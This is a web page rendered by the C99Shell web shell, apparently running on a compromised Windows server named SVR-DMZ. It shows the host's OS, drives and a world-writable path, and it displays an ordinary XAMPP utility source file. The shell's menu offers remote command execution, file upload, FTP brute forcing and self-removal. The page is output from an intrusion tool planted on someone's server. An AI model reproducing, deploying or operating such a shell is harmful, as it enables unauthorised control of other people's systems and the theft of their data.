!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\copia nuevo\src\xampp-start-stop\   drwxrwxrwx
Free 1.19 GB of 239.26 GB (0.5%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     xampp_util.c (1.55 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// Copyright (C) 2007-2010 Kai Seidler, oswald@apachefriends.org, GPL-licensed

#include <windows.h>
#include <stdio.h>
#include <process.h>
#include <string.h>

#include "xampp_util.h"

void xampp_call(char *start[10][10])
{
    int s;
    int i;
    char buffer[200];

    i=0;
    s=0;
    while(1)
    {
        if(start[i][0]==NULL)
            break;
        sprintf(buffer,"%s",start[i][0]);
        s=_spawnvp(P_NOWAIT,buffer, start[i]);
        if(s==-1)
        {
            printf("Error while calling %s...\n",buffer);
        }
        i++;
    }
    
    return;
}

void xampp_stop(char *pidfile,char *eventformat)
{
           HANDLE shutdownEvent;
        char shutdownEventName[32];
    FILE *fp;
    long pid;

        fp=fopen(pidfile,"r");
        if(!fp)
        {
                printf("Can't find %s.\n", pidfile);
        }
        else
        {
                fscanf(fp,"%d", &pid);
                fclose(fp);

                sprintf_s(shutdownEventName, sizeof(shutdownEventName), eventformat, pid);
                shutdownEvent = OpenEvent(EVENT_MODIFY_STATE, FALSE, shutdownEventName);
                if (shutdownEvent != NULL)
                {
                        SetEvent(shutdownEvent);
                }
                else
                {
                        printf("Can't find process #%d.\n", pid);
                }
        }

}

void xampp_cdx()
{
    char path[1000];
    char *ptr;

    //path[ sizeof(path) -1] = 0;

    GetModuleFileName( NULL, path, sizeof( path ) -1 );
    ptr=strrchr(path,'\\');
    *ptr='\0';

    chdir(path);
    //printf("chdir(%s)\n", path);
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--